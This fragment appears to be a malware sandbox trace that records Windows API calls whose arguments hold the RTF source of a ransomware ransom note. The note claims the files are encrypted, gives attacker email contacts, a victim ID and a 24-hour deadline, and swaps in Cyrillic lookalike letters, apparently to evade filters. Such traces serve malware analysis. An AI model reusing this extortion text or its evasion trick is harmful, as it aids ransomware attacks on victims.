SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0035.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l 